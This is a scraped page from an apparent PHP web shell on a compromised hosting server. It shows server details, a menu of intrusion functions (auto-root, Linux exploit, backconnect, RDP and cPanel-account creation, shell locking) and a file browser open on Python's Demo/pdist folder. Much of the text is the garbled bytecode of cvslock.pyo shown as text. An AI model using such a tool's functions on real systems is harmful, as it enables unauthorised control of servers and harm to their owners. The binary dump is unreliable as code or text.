Linux premium180.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
LiteSpeed
: 162.0.209.168 | : 216.73.216.187
Cant Read [ /etc/named.conf ]
8.3.30
nortrmdp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
lib64 /
python2.7 /
Demo /
pdist /
[ HOME SHELL ]
Name
Size
Permission
Action
FSProxy.py
7.64
KB
-rw-r--r--
FSProxy.pyc
12.5
KB
-rw-r--r--
FSProxy.pyo
12.5
KB
-rw-r--r--
RCSProxy.py
4.61
KB
-rwxr-xr-x
RCSProxy.pyc
7.57
KB
-rw-r--r--
RCSProxy.pyo
7.57
KB
-rw-r--r--
README
4.16
KB
-rw-r--r--
client.py
4.6
KB
-rw-r--r--
client.pyc
6.57
KB
-rw-r--r--
client.pyo
6.57
KB
-rw-r--r--
cmdfw.py
4.53
KB
-rw-r--r--
cmdfw.pyc
5.12
KB
-rw-r--r--
cmdfw.pyo
5.12
KB
-rw-r--r--
cmptree.py
5.64
KB
-rw-r--r--
cmptree.pyc
5.98
KB
-rw-r--r--
cmptree.pyo
5.98
KB
-rw-r--r--
cvslib.py
9.94
KB
-rw-r--r--
cvslib.pyc
12.83
KB
-rw-r--r--
cvslib.pyo
12.83
KB
-rw-r--r--
cvslock.py
6.61
KB
-rw-r--r--
cvslock.pyc
8.36
KB
-rw-r--r--
cvslock.pyo
8.36
KB
-rw-r--r--
mac.py
352
B
-rw-r--r--
mac.pyc
598
B
-rw-r--r--
mac.pyo
598
B
-rw-r--r--
makechangelog.py
2.92
KB
-rwxr-xr-x
makechangelog.pyc
3.05
KB
-rw-r--r--
makechangelog.pyo
3.05
KB
-rw-r--r--
rcsbump
745
B
-rwxr-xr-x
rcsclient.py
1.76
KB
-rw-r--r--
rcsclient.pyc
2.05
KB
-rw-r--r--
rcsclient.pyo
2.05
KB
-rw-r--r--
rcslib.py
10.08
KB
-rw-r--r--
rcslib.pyc
11.28
KB
-rw-r--r--
rcslib.pyo
11.28
KB
-rw-r--r--
rcvs
117
B
-rwxr-xr-x
rcvs.py
13.32
KB
-rwxr-xr-x
rcvs.pyc
14.08
KB
-rw-r--r--
rcvs.pyo
14.08
KB
-rw-r--r--
rrcs
117
B
-rwxr-xr-x
rrcs.py
3.9
KB
-rwxr-xr-x
rrcs.pyc
5.5
KB
-rw-r--r--
rrcs.pyo
5.5
KB
-rw-r--r--
security.py
1.07
KB
-rw-r--r--
security.pyc
1.64
KB
-rw-r--r--
security.pyo
1.64
KB
-rw-r--r--
server.py
4.47
KB
-rw-r--r--
server.pyc
5.83
KB
-rw-r--r--
server.pyo
5.83
KB
-rw-r--r--
sumtree.py
518
B
-rw-r--r--
sumtree.pyc
903
B
-rw-r--r--
sumtree.pyo
903
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : cvslock.pyo
� ��^c @ s� d Z d d l Z d d l Z d d l Z d d l Z d Z d Z d Z d Z d Z d d d � � YZ d e f d � � YZ d d d � � YZ d � Z d e f d � � YZ d e f d � � YZ e d � Z d � Z e d k r� e � n d S( s� CVS locking algorithm. CVS locking strategy ==================== As reverse engineered from the CVS 1.3 sources (file lock.c): - Locking is done on a per repository basis (but a process can hold write locks for multiple directories); all lock files are placed in the repository and have names beginning with "#cvs.". - Before even attempting to lock, a file "#cvs.tfl.<pid>" is created (and removed again), to test that we can write the repository. [The algorithm can still be fooled (1) if the repository's mode is changed while attempting to lock; (2) if this file exists and is writable but the directory is not.] - While creating the actual read/write lock files (which may exist for a long time), a "meta-lock" is held. The meta-lock is a directory named "#cvs.lock" in the repository. The meta-lock is also held while a write lock is held. - To set a read lock: - acquire the meta-lock - create the file "#cvs.rfl.<pid>" - release the meta-lock - To set a write lock: - acquire the meta-lock - check that there are no files called "#cvs.rfl.*" - if there are, release the meta-lock, sleep, try again - create the file "#cvs.wfl.<pid>" - To release a write lock: - remove the file "#cvs.wfl.<pid>" - rmdir the meta-lock - To release a read lock: - remove the file "#cvs.rfl.<pid>" Additional notes ---------------- - A process should read-lock at most one repository at a time. - A process may write-lock as many repositories as it wishes (to avoid deadlocks, I presume it should always lock them top-down in the directory hierarchy). - A process should make sure it removes all its lock files and directories when it crashes. - Limitation: one user id should not be committing files into the same repository at the same time. Turn this into Python code -------------------------- rl = ReadLock(repository, waittime) wl = WriteLock(repository, waittime) list = MultipleWriteLock([repository1, repository2, ...], waittime) i����Ni i s #cvs.lcks #cvs.rfl.s #cvs.wfl.t Errorc B s# e Z d � Z d � Z d � Z RS( c C s | | _ d S( N( t msg( t selfR ( ( s* /usr/lib64/python2.7/Demo/pdist/cvslock.pyt __init__` s c C s t | j � S( N( t reprR ( R ( ( s* /usr/lib64/python2.7/Demo/pdist/cvslock.pyt __repr__c s c C s t | j � S( N( t strR ( R ( ( s* /usr/lib64/python2.7/Demo/pdist/cvslock.pyt __str__f s ( t __name__t __module__R R R ( ( ( s* /usr/lib64/python2.7/Demo/pdist/cvslock.pyR ^ s t Lockedc B s e Z RS( ( R R ( ( ( s* /usr/lib64/python2.7/Demo/pdist/cvslock.pyR j s t Lockc B sV e Z d e d � Z d � Z d � Z d � Z d � Z d � Z d � Z d � Z RS( t .c C sx | | _ | | _ d | _ d | _ t t j � � } | j t � | _ | j t | � | _ | j t | � | _ d S( N( t repositoryt delayt Nonet lockdirt lockfileR t ost getpidt joint CVSLCKt cvslckt CVSRFLt cvsrflt CVSWFLt cvswfl( R R R t pid( ( s* /usr/lib64/python2.7/Demo/pdist/cvslock.pyR p s c C s d GH| j � d S( Nt __del__( t unlock( R ( ( s* /usr/lib64/python2.7/Demo/pdist/cvslock.pyR z s c C s� x� y'